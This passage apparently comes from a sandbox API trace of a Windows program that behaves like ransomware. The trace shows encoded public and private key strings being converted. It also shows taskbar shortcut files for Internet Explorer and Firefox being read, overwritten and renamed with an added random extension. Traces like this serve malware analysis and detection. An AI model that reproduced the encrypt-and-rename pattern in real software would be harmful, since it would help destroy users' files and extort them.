lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.833] GetCurrentThreadId () returned 0xa30 [0127.833] GetCurrentThreadId () returned 0xa30 [0127.834] GetCurrentThreadId () returned 0xa30 [0127.834] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.834] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.834] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.834] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x5a9 [0127.834] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.834] ReadFile (in: hFile=0x128, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x5a9, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f96c*=0x5a9, lpOverlapped=0x0) returned 1 [0127.860] CloseHandle (hObject=0x128) returned 1 [0127.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.862] WriteFile (in: hFile=0x128, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x5a9, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f978*=0x5a9, lpOverlapped=0x0) returned 1 [0127.865] CloseHandle (hObject=0x128) returned 1 [0127.865] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk.zv7un")) returned 1 [0127.867] GetCurrentThreadId () returned 0xa30 [0127.867] GetCurrentThreadId () returned 0xa30 [0127.867] GetCurrentThreadId () returned 0xa30 [0127.867] GetCurrentThreadId () returned 0xa30 [0127.867] GetCurrentThreadId () returned 0xa30 [0127.867] GetCurrentThreadId () returned 0xa30 [0127.867] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0de7e00, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0127.867] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.868] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.868] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\mozilla firefox.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0de7e00, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491)) returned 1 [0127.868] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\mozilla firefox.lnk")) returned 0x20 [0127.868] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk", dwFileAttributes=0x80) returned 1 [0127.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.871] GetCurrentThreadId () returned 0xa30 [0127.871] GetCurrentThreadId () returned 0xa30 [0127.871] GetCurrentThreadId () returned 0xa30 [0127.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.872] GetCurrentThreadId () returned 0xa30 [0127.872] GetCurrentThreadId () returned 0xa30 [0127.872] GetCurrentThreadId () returned 0xa30 [0127.873] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\mozilla firefox.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.873] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.873] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.874] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x491 [0127.874] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.874] ReadFile (in: 